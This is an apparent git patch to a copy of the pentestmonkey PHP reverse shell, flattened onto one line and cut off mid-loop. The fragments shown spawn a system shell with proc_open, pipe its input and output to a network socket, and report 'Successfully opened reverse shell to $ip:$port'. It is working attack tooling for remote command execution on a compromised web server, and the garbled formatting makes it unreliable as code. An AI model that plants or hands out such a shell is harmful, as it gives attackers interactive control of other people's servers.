From d5d75c6a42f9873c06f6d83bc4c82b1e8c846458 Mon Sep 17 00:00:00 2001 From: Shahzad-Afridi-86 <167343512+Shahzad-Afridi-86@users.noreply.github.com> Date: Fri, 16 Jan 2026 08:19:12 +0500 Subject: [PATCH] pentestmonkey.php --- php-reverse-shell.php | 83 ++----------------------------------------- 1 file changed, 2 insertions(+), 81 deletions(-) diff --git a/php-reverse-shell.php b/php-reverse-shell.php index 2503b71..9689df4 100755 --- a/php-reverse-shell.php +++ b/php-reverse-shell.php @@ -1,133 +1,54 @@ array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); - $process = proc_open($shell, $descriptorspec, $pipes); - if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } - -// Set everything to non-blocking -// Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); - printit("Successfully opened reverse shell to $ip:$port"); - while (1) { - // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break;